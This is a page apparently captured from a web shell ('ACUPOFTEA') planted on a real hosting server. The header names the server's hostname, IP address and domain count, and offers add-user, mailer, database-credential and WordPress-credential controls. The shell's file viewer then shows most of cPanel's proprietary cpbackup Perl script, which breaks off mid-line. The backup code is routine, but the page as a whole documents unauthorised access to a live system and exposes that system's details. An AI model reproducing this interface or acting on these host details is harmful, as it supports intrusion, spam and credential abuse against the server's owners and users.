System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
scripts
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
cpbackup
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/cpbackup Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited use strict; use Try::Tiny; use Capture::Tiny (); use Cwd (); use Cpanel::ExitValues::rsync (); use Cpanel::PwCache::Build (); use Cpanel::SafeDir::MK (); use Cpanel::LoadFile (); use Cpanel::BackupMount (); use Cpanel::Backup::SystemResources (); use Cpanel::Hostname (); use Cpanel::Binaries (); use Cpanel::OSSys (); use Cpanel::OSSys::Capabilities (); use Cpanel::CpuWatch (); use Cpanel::Exception (); use Cpanel::Logger (); use Cpanel::FileUtils::TouchFile (); use Cpanel::FileUtils::Copy (); use Cpanel::FileUtils::Move (); use Cpanel::Config::Backup (); use Cpanel::Config::LoadConfig (); use Cpanel::Config::FlushConfig (); use Cpanel::Config::LoadCpConf (); use Cpanel::Config::LoadCpUserFile (); use Cpanel::Config::IPs::RemoteDNS (); use Cpanel::Config::IPs::RemoteMail (); use Cpanel::Config::Users (); use Cpanel::ConfigFiles (); use Cpanel::Kill::Single (); use Cpanel::Mailman::Filesys (); use Cpanel::MysqlUtils::Dir (); use Cpanel::SafeRun::Errors (); use Cpanel::SimpleSync (); use Cpanel::Tar (); use Cpanel::IONice (); use Cpanel::Gzip::Config (); use Cpanel::Usage (); use Cpanel::Backup::Sync (); use Cpanel::Update::InProgress (); use Cpanel::Locale (); use Cpanel::ConfigFiles::Apache (); use Cpanel::StringFunc::Trim (); use Cpanel::Waitpid (); use Cpanel::FtpUtils::ResponseCodes (); use Cpanel::SignalManager (); use Cpanel::OS (); # # These constants identify the backup type # which is running and to name the pid file # We'll be passing this to the set of common functions # used by the old and new backup systems to avoid collisions # use constant BACKUP_ID => Cpanel::Backup::Sync::BACKUP_TYPE_OLD; use constant BACKUP_ID_OTHER => Cpanel::Backup::Sync::BACKUP_TYPE_NEW; my $start_time = time(); my $apacheconf = Cpanel::ConfigFiles::Apache->new(); my $logger = Cpanel::Logger->new(); our $VERSION = 2.1; $Cpanel::BackupMount::VERBOSE = 1; $ENV{'PATH'} .= ":/sbin"; our $logdir = '/usr/local/cpanel/logs/cpbackup'; my $force = 0; my $debug = 0; my $allow_override = 0; my $monthly = 0; my $weekly = 0; my $locale; my $LAST_CPUSYSTEM_ERROR; $locale ||= Cpanel::Locale->get_handle(); my %opts = ( 'force' => \$force, 'debug' => \$debug, 'monthly' => \$monthly, 'weekly' => \$weekly, 'allow-override' => \$allow_override, ); Cpanel::Usage::wrap_options( \@ARGV, \&usage, \%opts ); my $host = Cpanel::Hostname::gethostname(); my %CPCONF = Cpanel::Config::LoadCpConf::loadcpconf(); if ( Cpanel::Update::InProgress->is_on() ) { $logger->warn("An update is in progress. Backups are disabled at this time."); exit 1; } # # Handle the case where another instance of the script # is already running # Cpanel::Backup::Sync::handle_already_running( BACKUP_ID, $logdir, $logger ) or exit 1; # Load the configuration and do some preliminary checks as to whether we # actually need to run before trying to wait for the other backup to complete # and warning the user. my %CONF = Cpanel::Config::Backup::load(); if ( $CONF{'BACKUPENABLE'} ne "yes" ) { if ( -t \*STDOUT ) { print STDERR "[cpbackup] Backup Not Enabled (This can be adjusted in WHM => Backup => Legacy Backup Configuration)\n"; } exit 1; } if ( $CONF{'BACKUPENABLE'} ne "restoreonly" && $CONF{'BACKUPENABLE'} ne "yes" ) { print STDERR "[cpbackup] Backup Not Enabled (restore only) (This can be adjusted in WHM => Backup => Legacy Backup Configuration)\n"; exit 1; } if ( $CONF{'BACKUPCHECK'} ne "yes" ) { print STDERR "[cpbackup] Backup must be re-enabled in your WHM (This can be adjusted in WHM => Backup => Legacy Backup Configuration)\n"; exit 1; } # # If the other backup type is running wait for it to finish, # then flag that we are running so the other backup type can not # start # my $rc = Cpanel::Backup::Sync::set_backup_as_running_after_other_finishes( BACKUP_ID, BACKUP_ID_OTHER, time(), $logger ); if ( $rc == Cpanel::Backup::Sync::OTHER_TYPE_RUNNING ) { print STDERR "[backup] Unable start backup script"; require Cpanel::iContact::Class::Backup::Failure; require Cpanel::Notify; Cpanel::Notify::notification_class( 'class' => 'Backup::Failure', 'application' => 'Backup::Failure', 'constructor_args' => [ 'origin' => 'Legacy cPanel Backup System', 'start_time' => $start_time, 'end_time' => time(), 'reason' => $locale->maketext('The system could not complete the backup because legacy and current backup processes may not run concurrently, and the first backup process has not finished.') ] ); exit 1; } if ( $rc != Cpanel::Backup::Sync::SUCCESS ) { print STDERR "[backup] Unable start backup script"; require Cpanel::iContact::Class::Backup::Failure; require Cpanel::Notify; Cpanel::Notify::notification_class( 'class' => 'Backup::Failure', 'application' => 'Backup::Failure', 'constructor_args' => [ 'origin' => 'Legacy cPanel Backup System', 'start_time' => $start_time, 'end_time' => time(), 'reason' => $locale->maketext( 'The system could not complete the backup because a test of “[_1]” resulted in an error.', '/bin/backup' ) ] ); exit 1; } # # If stats are running, request that they pause # if ( $CPCONF{'nocpbackuplogs'} ) { Cpanel::Backup::Sync::pause_stats_if_needed($logger); } my $gzip_cfg = Cpanel::Gzip::Config->load(); my $gzip_bin = $gzip_cfg->{'bin'}; if ( !-x $gzip_bin ) { $logger->info('Unable to locate suitable gzip binary'); exit 1; } my $rsync_bin = Cpanel::Binaries::path('rsync'); if ( !-x $rsync_bin ) { $logger->info('Unable to locate suitable rsync binary'); exit 1; } my $tarcfg = Cpanel::Tar::load_tarcfg(); my ( $status, $message ) = Cpanel::Tar::checkperm(); exit 1 if !$status; # No need to show message here, handled in checkperm routine my $tar_bin = $tarcfg->{'bin'}; my $now = time; my $rsyncopts = '-rlptD'; #recusive, copy symlinks as symlinks, preserve permissions, #preserve times, preserve devices $ENV{'CPBACKUP'} = 1; if ( !$CPCONF{'skipnotifyacctbackupfailure'} ) { $ENV{'CPBACKUP_NOTIFY_FAIL'} = 1; } my $CAPABILITIES = Cpanel::OSSys::Capabilities->load; my $pkgacct = -x '/usr/local/cpanel/bin/pkgacct' ? '/usr/local/cpanel/bin/pkgacct' : '/usr/local/cpanel/scripts/pkgacct'; if ($allow_override) { if ( -e '/var/cpanel/lib/Whostmgr/Pkgacct/pkgacct' && -x _ ) { $pkgacct = '/var/cpanel/lib/Whostmgr/Pkgacct/pkgacct'; } } my $has_link_dest = 0; if ( $CONF{'BACKUPINC'} eq 'yes' && $CONF{'LINKDEST'} && ( $CONF{'LINKDEST'} eq 'yes' || $CONF{'LINKDEST'} eq '1' ) ) { my $rsync_help = Cpanel::SafeRun::Errors::saferunallerrors( $rsync_bin, '--help' ); $has_link_dest = ( $rsync_help =~ /link-dest/ ? 1 : 0 ); } if ( ( !exists $CONF{'PREBACKUP'} || $CONF{'PREBACKUP'} eq '-1' || $CONF{'PREBACKUP'} eq '' ) && -e '/usr/local/cpanel/scripts/precpbackup' && -x _ ) { if ( !exists $CONF{'PREBACKUP'} ) { require Cpanel::Redirect; my $url_host = Cpanel::Redirect::getserviceSSLdomain('cpanel') || $host; if ( my $pid = fork() ) { Cpanel::Waitpid::sigsafe_blocking_waitpid($pid); if ( $? && $? & 127 ) { my $signum = $? & 127; print STDERR "[cpbackup] WARNING: Process $pid died from signal $signum!\n"; } } else { require Cpanel::Notify; Cpanel::Notify::notification_class( 'class' => 'Backup::PreBackupNotice', 'application' => 'Legacy cPanel Backup System', 'status' => 'prebackup deprecation', 'priority' => 2, 'interval' => 60 * 60 * 24, 'constructor_args' => [ 'origin' => 'Legacy cPanel Backup System' ] ); exit(0); } } if ( -t STDIN ) { print "[cpbackup] Executing user defined pre backup script (/usr/local/cpanel/scripts/precpbackup) [LEGACY].\n"; } system '/usr/local/cpanel/scripts/precpbackup'; $CONF{'PREBACKUP'} = 0; # Prevent from running again } if ( exists $CONF{'GZIPRSYNCOPTS'} ) { $ENV{'GZIP'} .= $CONF{'GZIPRSYNCOPTS'}; } else { $CONF{'GZIPRSYNCOPTS'} = $gzip_cfg->{'rsyncable'} ? '--rsyncable' : ''; $ENV{'GZIP'} .= $CONF{'GZIPRSYNCOPTS'}; Cpanel::Config::Backup::save( \%CONF ); } $ENV{'pkgacct-cpbackup'} = 1; #BACKUPDIR /backup #BACKUPINT daily #BACKUPENABLE yes #BACKUPCHECK yes #BACKUPMOUNT no #BACKUPINC no #BACKUPFILES yes #BACKUPACCTS #DIEIFNOTMOUNTED no #BACKUPDAYS 0,1,2,3,4,5,6 #BACKUPLOGS no #MYSQLBACKUP accounts #BACKUPTYPE normal,ftp if ( $> == 0 ) { $ENV{'USER'} = 'root'; $ENV{'HOME'} = '/root'; } # my %SKIPUSERS; # if ( open my $userskip_fh, '<', '/etc/cpbackup-userskip.conf' ) { # while (<$userskip_fh>) { # chomp; # $SKIPUSERS{$_} = 1; # } # close $userskip_fh; # } my @FILES = ( qw( /etc/exim.conf /etc/exim.conf.local /etc/exim.conf.localopts /etc/namedb/named.conf /etc/rc.conf /etc/named.conf /etc/proftpd.conf /etc/pure-ftpd.conf /etc/localdomains /etc/httpd/conf/httpd.conf /usr/local/apache/conf/httpd.conf /etc/group /etc/shadow /etc/digestshadow /etc/master.passwd /etc/passwd /etc/fstab /root/.my.cnf /etc/ips /etc/reservedips /etc/reservedipreasons /etc/wwwacct.conf /etc/remotedomains /etc/rndc.conf /etc/secondarymx /etc/senderverifybypasshosts /etc/spammeripblocks /etc/blocked_incoming_email_countries /etc/blocked_incoming_email_country_ips /etc/blocked_incoming_email_domains /etc/cpanel_exim_system_filter /etc/global_spamassassin_enable /etc/spammers /etc/my.cnf /etc/dovecot/sni.conf /var/cpanel/greylist/conf /var/cpanel/greylist/greylist.sqlite /var/cpanel/mysql/remote_profiles/profiles.json ), $apacheconf->file_conf(), Cpanel::Config::IPs::RemoteDNS->PATH(), Cpanel::Config::IPs::RemoteMail->PATH(), ); my @DIRS = ( $Cpanel::ConfigFiles::VALIASES_DIR, $Cpanel::ConfigFiles::VDOMAINALIASES_DIR, $Cpanel::ConfigFiles::VFILTERS_DIR, $Cpanel::ConfigFiles::FTP_PASSWD_DIR, Cpanel::Mailman::Filesys::MAILMAN_DIR(), Cpanel::OS::user_crontab_dir(), Cpanel::OS::dns_named_basedir(), qw( /etc/cpanel /etc/namedb /etc/ssl /usr/share/ssl /var/cpanel /var/cron/tabs /var/lib/named/chroot/var/named/master /var/lib/rpm /var/log/bandwidth /var/spool/cron /var/spool/fcron /var/ssl ), ); if ( $CONF{'BACKUPDAYS'} ne "" ) { my @BACKUPDAYS = split( /\,/, $CONF{'BACKUPDAYS'} ); my ( $sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst ) = localtime($now); my $backupthisday = 0; foreach (@BACKUPDAYS) { if ( $wday eq $_ ) { $backupthisday = 1; } } if ( !$backupthisday && !$force ) { print STDERR "[cpbackup] Backups are not scheduled to run today (This can be adjusted in WHM => Backup => Legacy Backup Configuration)\n"; exit 1; } } my $basedir = $CONF{'BACKUPDIR'}; # Create log dir and rotate log files setup_and_clean_logs(); my $log_file_path = Cpanel::Backup::Sync::log_file_path( $logdir, $now ); my ( $SIGNAL_MANAGER, $at_perl_end ); if ( !$debug ) { ( $SIGNAL_MANAGER, $at_perl_end ) = Cpanel::Backup::Sync::fork_and_redirect_output( BACKUP_ID, $logdir, $now, $logger, \&send_message ); } $ENV{'CPBACKUP_LOGFILE'} = $log_file_path; if ( $CONF{'BACKUPTYPE'} eq 'ftp' ) { my $ftpuser = $CONF{'BACKUPFTPUSER'}; my $ftppass = $CONF{'BACKUPFTPPASS'}; if ( !defined($ftpuser) || $ftpuser eq '' ) { my $status = 'FTP user for backups is not defined.'; my $subject = $status; exit_STDERR_log_and_notify( $status, $subject, $locale->maketext( 'The “[_1]” of the Legacy Backup System is set to “[_2]”, but the [asis,FTP] user is not defined.', $locale->maketext('Backup Type'), $locale->maketext('Remote FTP (Accounts Only)'), ), ); } elsif ( !defined($ftppass) || $ftppass eq '' ) { my $status = "FTP password for $ftpuser is not defined."; my $subject = $status; exit_STDERR_log_and_notify( $status, $subject, $locale->maketext( 'The “[_1]” of the Legacy Backup System is set to “[_2]”, but the [asis,FTP] password for “[_3]” is not defined.', $locale->maketext('Backup Type'), $locale->maketext('Remote FTP (Accounts Only)'), $ftpuser, ), ); } my $net_ftp_ok = 0; eval { require Net::FTP; $net_ftp_ok = 1; }; if ( !$net_ftp_ok ) { my $status = 'loading Net::FTP failed'; my $subject = qq{Remote FTP backup failed because Net::FTP could not be loaded on $host}; exit_STDERR_log_and_notify( $status, $subject, $locale->maketext( 'The “[_1]” of the Legacy Backup System is set to “[_2]”, but the backup failed because “[asis,Net::FTP]” could not be loaded on “[_3]”.', $locale->maketext('Backup Type'), $locale->maketext('Remote FTP (Accounts Only)'), $host, ), ); } my $ftptimeout = $CONF{'BACKUPFTPTIMEOUT'} || 120; my $ftppassive = ( $CONF{'BACKUPFTPPASSIVE'} eq 'yes' ); my $ftphost = $CONF{'BACKUPFTPHOST'}; my $ftp = Net::FTP->new( $ftphost, Debug => 1, Passive => $ftppassive, Timeout => $ftptimeout ); unless ($ftp) { my $status = "Unable to connect to remote FTP server ($ftphost)."; my $subject = qq{Remote FTP backup on $host failed because unable to connect to remote FTP server ($ftphost)}; exit_STDERR_log_and_notify( $status, $subject, $locale->maketext( 'Remote [asis,FTP] backup on “[_1]” failed because the system was unable to connect to the remote [asis,FTP] server ([_2]).', $host, $ftphost ), ); } if ( !$ftp->login( $ftpuser, $ftppass ) ) { $ftp->quit(); my $status = 'Unable to login to remote FTP server.'; my $subject = $status; exit_STDERR_log_and_notify( $status, $subject, $locale->maketext( 'Remote [asis,FTP] backup on “[_1]” failed because the server was unable to log into the remote [asis,FTP] server, [_2], with the provided credentials.', $host, $ftphost ), ); } $ftp->quit(); mkdir( "/home/cpbackuptmp", 0711 ); chmod( 0711, "/home/cpbackuptmp" ); $basedir = "/home/cpbackuptmp"; $CONF{'BACKUPINC'} = "no"; $CONF{'BACKUPFILES'} = "no"; $CONF{'BACKUPACCTS'} = "yes"; $CONF{'BACKUPMOUNT'} = "no"; $CONF{'DIEIFNOTMOUNTED'} = "no"; } my $original_child_pid = $$; my $basemount = $basedir; my $need_to_mount_backup; $need_to_mount_backup = !Cpanel::BackupMount::backup_disk_is_mounted($basemount) if ( $CONF{'BACKUPMOUNT'} eq 'yes' ); if ($need_to_mount_backup) { Cpanel::BackupMount::mount_backup_disk( $basemount, 'cpbackup', 86400 ); } die_if_not_mounted_check(); if ( !$basedir ) { if ( !-t STDIN ) { require Cpanel::iContact::Class::Backup::Failure; require Cpanel::Notify; Cpanel::Notify::notification_class( 'class' => 'Backup::Failure', 'application' => 'Backup::Failure', 'constructor_args' => [ 'origin' => 'Legacy cPanel Backup System', 'start_time' => $start_time, 'end_time' => time(), 'reason' => $locale->maketext('The system could not complete the backup because the configuration does not specify the backup directory.') ] ); } print STDERR "[cpbackup] Backup failed! Base directory for backups not set!\n"; exit 1; } chmod( 0711, $basedir ); $basedir .= '/cpbackup'; $basedir =~ s{//}{/}; Cpanel::SafeDir::MK::safemkdir( $basedir, 0711 ); chmod( 0711, $basedir ); Cpanel::OSSys::nice(18); # needs to be one higher for cpuwatch if ( $CAPABILITIES->capable_of('ionice') ) { if ( Cpanel::IONice::ionice( 'best-effort', exists $CPCONF{'ionice_cpbackup'} ? $CPCONF{'ionice_cpbackup'} : 6 ) ) { print "[cpbackup] Setting I/O priority to reduce system load: " . Cpanel::IONice::get_ionice() . "\n"; } } if ($has_link_dest) { print "[cpbackup] EXPERIMENTAL Hard Linking enabled (link-dest)\n"; } if ( $CONF{'PREBACKUP'} && -e '/usr/local/cpanel/scripts/precpbackup' && -x _ ) { print "[cpbackup] Executing user defined pre backup script (/usr/local/cpanel/scripts/precpbackup).\n"; system '/usr/local/cpanel/scripts/precpbackup'; } # # If precpbackup unmounts the disk, mount it again # if ( $CONF{'BACKUPMOUNT'} eq 'yes' && !Cpanel::BackupMount::backup_disk_is_mounted($basemount) ) { Cpanel::BackupMount::mount_backup_disk( $basemount, 'cpbackup', 86400 ); die_if_not_mounted_check(); } my %BACKUP_TTLS = ( 'monthly' => 29, 'weekly' => 6, 'daily' => .5 ); my ( @backups_to_run, @backups_to_skip ); # We are using an array becuse the order of the backups matter # when we push them in below the first backup will be the one we run # anything after the first are just retention backups which may or may be due # to be copied from the backup we just made. # # Pick the first backup based on the BACKUPINT setting # if ( exists $BACKUP_TTLS{ $CONF{'BACKUPINT'} } ) { if ( $force || !-e $basedir . '/' . $CONF{'BACKUPINT'} || isolderthan( $BACKUP_TTLS{ $CONF{'BACKUPINT'} }, $basedir . '/' . $CONF{'BACKUPINT'} ) ) { push @backups_to_run, $CONF{'BACKUPINT'}; } else { push @backups_to_skip, $CONF{'BACKUPINT'}; } } # additionnal backups should be treated only when performing the original BAKUPINT # if not we will not preserve the hardlinks when launch multiple times # you should use --force option for multiple launch if (@backups_to_run) { # # If we are doing daily backups we have the option to retain weekly backups # if ( $CONF{'BACKUPINT'} eq "daily" && $CONF{'BACKUPRETWEEKLY'} ) { if ( !-e "${basedir}/weekly" || isolderthan( $BACKUP_TTLS{'weekly'}, "${basedir}/weekly" || $weekly ) ) { push @backups_to_run, 'weekly'; } else { push @backups_to_skip, 'weekly'; } } # # If we are doing daily or weekly backups we have the option to retain monthly backups # if ( ( $CONF{'BACKUPINT'} eq "weekly" || $CONF{'BACKUPINT'} eq "daily" ) && $CONF{'BACKUPRETMONTHLY'} ) { if ( !-e "${basedir}/monthly" || isolderthan( $BACKUP_TTLS{'monthly'}, "${basedir}/monthly" || $monthly ) ) { push @backups_to_run, 'monthly'; } else { push @backups_to_skip, 'monthly'; } } } #BACKUPLOGS no #MYSQLBACKUP accounts if ( $CONF{'MYSQLBACKUP'} eq "both" || $CONF{'MYSQLBACKUP'} eq 'dir' ) { backup_all_mysql_databases( \%CONF ); } # # Only send the message if there are backups to run # my $send_message = ( @backups_to_run ? 1 : 0 ); my ( $rsync_err_str, $rsync_stderr ); my $user_error_map; if (@backups_to_run) { print "[cpbackup] The following backups will be updated: " . join( ',', @backups_to_run ) . "\n"; my $current_backup = $backups_to_run[0]; my $curr_backup_dir = "$basedir/$current_backup"; Cpanel::SafeDir::MK::safemkdir( $curr_backup_dir, 0711 ) if ( !-e $curr_backup_dir ); chmod( 0711, $curr_backup_dir ); $user_error_map = backupaccts( $curr_backup_dir, \@backups_to_run ); # we include the list of backups to run so we can avoid # having to do the backup process for each backup when ftping update_last_run_time($curr_backup_dir); # # Make a copy of the current_backup (BACKUPINT setting) into the next type we need to retain # shift(@backups_to_run); # the first one is the kind of backup we are running # The next are the ones we need to keep (they are only pushed in if we need to make a copy) while ( my $retention_backup = shift @backups_to_run ) { # We are shifting them out as they are done # so we know they have been completed next if ( !$retention_backup ); print "[cpbackup] Copying $current_backup backups to $retention_backup backups for retention\n"; my $target_dir = "$basedir/$retention_backup"; my @rsync_opts = ( $rsyncopts, '--delete', ( $has_link_dest ? ( "--link-dest=../$current_backup", "--exclude=$curr_backup_dir/cpbackupstatus.cfg", ) : () ), "$curr_backup_dir/", $target_dir, ); my $rsync_exit_code; ( $rsync_stderr, $rsync_exit_code ) = Capture::Tiny::tee_stderr( sub { cpusystem( $rsync_bin, @rsync_opts ) }, ); my $rsync_status = $rsync_exit_code ? Cpanel::ExitValues::rsync->number_to_string($rsync_exit_code) : q<>; if ($has_link_dest) { if ( $rsync_exit_code != 0 ) { $rsync_err_str = "Incremental hard link copy of $current_backup backups to $retention_backup backups failed because of an error: $rsync_status"; } else { unlink "$target_dir/cpbackupstatus.cfg" if -e "$target_dir/cpbackupstatus.cfg"; Cpanel::FileUtils::Copy::safecopy( "$curr_backup_dir/cpbackupstatus.cfg", "$target_dir/cpbackupstatus.cfg" ); } } elsif ( $rsync_exit_code != 0 ) { $rsync_err_str = "Incremental copy of $current_backup backups to $retention_backup backups failed because of an error: $rsync_status"; } if ($rsync_err_str) { print STDERR "[cpbackup] $rsync_err_str\n"; } # case 42741: no need to update the file again as it will be copied from the $current_backup #update_last_run_time( $basedir . '/' . $retention_backup ); last; # Only do one per run so at least we have one day where monthly and weekly backups are not the same at the end of the month } if (@backups_to_run) { print STDERR "[cpbackup] The following backups will be updated next time cpbackup runs: " . join( ',', @backups_to_run ) . "\n"; # we do not want to cobber the monthly backups # at the end of the month so we will wait till the next run } } if (@backups_to_skip) { print "[cpbackup] The following backups were already up to date: " . join( ',', @backups_to_skip ) . "\n"; } if ( -e '/usr/local/cpanel/scripts/postcpbackup' && -x _ && ( !exists $CONF{'POSTBACKUP'} || $CONF{'POSTBACKUP'} ) ) { print "[cpbackup] Executing user defined post backup script (/usr/local/cpanel/scripts/postcpbackup).\n"; system '/usr/local/cpanel/scripts/postcpbackup'; } # unmount the disk if it was initially unmounted if ($need_to_mount_backup) { Cpanel::BackupMount::unmount_backup_disk( $basemount, 'cpbackup' ); } Cpanel::Backup::Sync::clean_up_pid_files(BACKUP_ID); my $complete_localtime = localtime(); print "[cpbackup] Completed at $complete_localtime\n"; sub send_message { my ($signal) = @_; $signal ||= 0; if ($send_message) { my $major_error; # Parse the log for known problems to highlight. #Just take the first one due to space restraints in subject line. if ( open( my $log_file, '<', $log_file_path ) ) { while (<$log_file>) { if (m/<<<\s552\s(.*)/) { $major_error = $locale->maketext("The backup destination server has exceeded storage allocation (for current directory or dataset)."); last; } elsif (m/<<<\s452\s(.*)/) { $major_error = $locale->maketext("The backup destination server has insufficient storage space."); last; } } close($log_file); } my @transport_errors = (); if ( keys %$user_error_map ) { for my $user ( sort keys %$user_error_map ) { for my $target_type ( sort keys %{ $user_error_map->{$user}{'transport'} } ) { push @transport_errors, [ $user, $target_type, $user_error_map->{$user}{'transport'}{$target_type}{'error_message'}, ]; } } } my @account_errors = (); if ( keys %$user_error_map ) { for my $user ( sort keys %$user_error_map ) { if ( $user_error_map->{$user}{'account'} ) { push @account_errors, [ $user, $user_error_map->{$user}{'account'}{'error_message'} ]; } } } my @local_copy_errors = ( $rsync_err_str ? ( [ $rsync_err_str => $rsync_stderr ] ) : () ); require Cpanel::Notify; my @attach_files = ( { "name" => "${now}.log.txt", "content" => Cpanel::LoadFile::loadfile_r($log_file_path), 'number_of_preview_lines' => 25, }, ); my $had_error = $major_error || @account_errors || @transport_errors || @local_copy_errors; my $class = $had_error ? 'Backup::PartialFailure' : 'Backup::Success'; print "[cpbackup] Final state is $class ($signal)\n"; Cpanel::Notify::notification_class( 'application' => "Legacy cPanel Backup System", 'class' => $class, 'status' => '', 'priority' => 2, 'interval' => 1, # Always notify 'constructor_args' => [ 'origin' => "Legacy cPanel Backup System", is_legacy => 1, 'start_time' => $start_time, 'end_time' => time(), major_error => $major_error, transport_errors => \@transport_errors, account_errors => \@account_errors, local_copy_errors => \@local_copy_errors, 'attach_files' => \@attach_files, 'signal' => $signal, 'log_file_path' => $log_file_path, ], ); } } sub isolderthan { my ( $days, $file ) = @_; return 1 if !-e $file; my $last_run_time = ( stat($file) )[9]; # We want the trust the earliest time so we do not miss out on a backup. Its better to backup again # if we are unsure. We now create a cpbackupstatus.cfg if it is missing if ( -e $file . '/cpbackupstatus.cfg' ) { my $backup_status_ref = Cpanel::Config::LoadConfig::loadConfig( $file . '/cpbackupstatus.cfg', {}, '=' ); # Always take the oldest date if ( exists $backup_status_ref->{'last_run_time'} && $backup_status_ref->{'last_run_time'} && $backup_status_ref->{'last_run_time'} < $last_run_time ) { $last_run_time = $backup_status_ref->{'last_run_time'}; } } else { my $backup_status_ref = { 'last_run_time' => $last_run_time }; Cpanel::Config::FlushConfig::flushConfig( $file . '/cpbackupstatus.cfg', $backup_status_ref, '=' ); } my $days_old = ( time() - ($last_run_time) ) / ( 60 * 60 * 24 ); #9 =mtime print "[cpbackup] backup point $file is " . sprintf( '%0.2f', $days_old ) . " days old\n"; return ( ( $days_old < 0 || $days_old > $days ) ? 1 : 0 ); #case 19450:: now time warp safe } sub update_last_run_time { my $dir = shift; my $time = shift || time(); my $backup_status_ref; my $cfg_file = $dir . '/cpbackupstatus.cfg'; if ( -e $cfg_file ) { $backup_status_ref = Cpanel::Config::LoadConfig::loadConfig( $cfg_file, {}, '=' ); #This file gets unlink()ed immediately down below. #It’s conceivable that this is here in event of failure in #flushConfig(), except flushConfig() doesn’t throw exceptions. #So, it’s unclear what’s intended. TODO FIXME XXX Cpanel::FileUtils::Move::safemv( $cfg_file, "$cfg_file.bak" ); } $backup_status_ref->{'last_run_time'} = $time; Cpanel::Config::FlushConfig::flushConfig( $cfg_file, $backup_status_ref, '=' ); unlink "$cfg_file.bak" if -e "$cfg_file.bak"; } sub backup_all_mysql_databases { my ($conf) = @_; my $mysqldatadir = Cpanel::MysqlUtils::Dir::getmysqldir() || '/var/lib/mysql'; while ( -l $mysqldatadir ) { $mysqldatadir = readlink($mysqldatadir); } my $rawdir = $mysqldatadir; $rawdir =~ s/\//_/g; my $basedir = $conf->{'BACKUPDIR'}; $basedir .= '/cpbackup'; my $curr_backup_dir = $basedir . '/' . $conf->{'BACKUPINT'}; my @EXCLUDES = Cpanel::Backup::SystemResources::get_excludes_args_by_path($mysqldatadir); Cpanel::SafeDir::MK::safemkdir("$curr_backup_dir/dirs") if !-d "$curr_backup_dir/dirs"; # Added exclude for /proc for chroot bind setups to prevent error messages if ( $conf->{'BACKUPINC'} eq "yes" ) { print "[cpbackup] Starting incremental MySQL database backups\n"; if ( cpusystem( $rsync_bin, $rsyncopts, @EXCLUDES, '--delete', "$mysqldatadir/", "$curr_backup_dir/dirs/$rawdir" ) != 0 ) { print STDERR "[cpbackup] Failed to perform incremental MySQL database backup\n"; } } else { print "[cpbackup] Starting full MySQL database backups\n"; if ( cpusystem( $tar_bin, '--use-compress-program=/usr/local/cpanel/bin/gzip-wrapper', '--create', '--preserve-permissions', '--file', "$curr_backup_dir/dirs/$rawdir.tar.gz", @EXCLUDES, $mysqldatadir ) == 0 ) { chmod( 0600, "$curr_backup_dir/dirs/$rawdir.tar.gz" ) if $status == 0; } else { print STDERR "[cpbackup] Failed to perform full MySQL database backup\n"; } } return; } sub backupaccts { ## no critic qw(Subroutines::ProhibitExcessComplexity) my $target = shift; my $all_targets = shift; Cpanel::FileUtils::TouchFile::touchfile($target); #if another cpbackup starts just go bye bye if ( !( $CONF{'BACKUPFILES'} eq "no" ) ) { print "[cpbackup] Running dir & file backup with target : $target\n"; if ( !-e "$target/files" ) { mkdir( "$target/files", 0700 ); } if ( !-e "$target/dirs" ) { mkdir( "$target/dirs", 0700 ); } chmod( 0700, "$target/files", "$target/dirs" ); my ( $syncstatus, $syncmessage ); foreach my $file (@FILES) { next if ( !-e $file ); my $rawfile = $file; $rawfile =~ s/\//_/g; if ( $CONF{'BACKUPINC'} eq "yes" ) { ( $syncstatus, $syncmessage ) = Cpanel::SimpleSync::syncfile( $file, "$target/files/$rawfile", 0, 1 ); } else { ( $syncstatus, $syncmessage ) = Cpanel::SimpleSync::syncfile( $file, "$target/files/$rawfile", 0, 1 ); if ( $syncstatus != 0 ) { if ( cpusystem( $gzip_bin, "-f", "$target/files/$rawfile" ) != 0 ) { print STDERR "[cpbackup] Failed to compress file $target/files/$rawfile\n"; } } } if ( $syncstatus == 0 ) { print STDERR "[cpbackup] Failed to backup $file ($syncmessage)\n"; } } foreach my $dir (@DIRS) { next if ( !-e $dir ); my $rawdir = $dir; $rawdir =~ s/\//_/g; my @EXCLUDES = Cpanel::Backup::SystemResources::get_excludes_args_by_path($dir); # Added exclude for /proc for chroot bind setups to prevent error messages if ( $CONF{'BACKUPINC'} eq "yes" ) { if ( cpusystem( $rsync_bin, $rsyncopts, @EXCLUDES, '--delete', "$dir/", "$target/dirs/$rawdir" ) != 0 ) { print STDERR "[cpbackup] Failed to perform incremental backup of $dir/ to $target/dirs/$rawdir\n"; } } else { if ( cpusystem( $tar_bin, '--use-compress-program=/usr/local/cpanel/bin/gzip-wrapper', '--create', '--preserve-permissions', '--file', "$target/dirs/$rawdir.tar.gz", @EXCLUDES, $dir ) == 0 ) { chmod( 0600, "$target/dirs/$rawdir.tar.gz" ); } else { print STDERR "[cpbackup] Failed to perform full backup of $dir/ to $target/dirs/$rawdir.tar.gz\n"; } } } } print "[cpbackup] Running account backup with target : $target\n"; #BACKUPLOGS no #MYSQLBACKUP accounts #BACKUPBWDATA yes $ENV{'pkgacct-logs'} = ( $CONF{'BACKUPLOGS'} eq "yes" ? 'yes' : 'no' ); $ENV{'pkgacct-mysql'} = ( ( $CONF{'MYSQLBACKUP'} eq "dir" || $CONF{'MYSQLBACKUP'} eq "no" ) ? 'no' : 'yes' ); $ENV{'pkgacct-psql'} = ( $CONF{'PSQLBACKUP'} eq "no" ? 'no' : 'yes' ); $ENV{'pkgacct-bwdata'} = ( $CONF{'BACKUPBWDATA'} eq "no" ? 'no' : 'yes' ); my %user_error_map = (); if ( $CONF{'BACKUPACCTS'} ne 'no' ) { Cpanel::PwCache::Build::init_passwdless_pwcache(); my @cpusers = Cpanel::Config::Users::getcpusers(); foreach my $user ( sort @cpusers ) { my $user_conf = Cpanel::Config::LoadCpUserFile::load($user); $user_conf->{'LEGACY_BACKUP'} = 0 if !exists $user_conf->{'LEGACY_BACKUP'}; next if 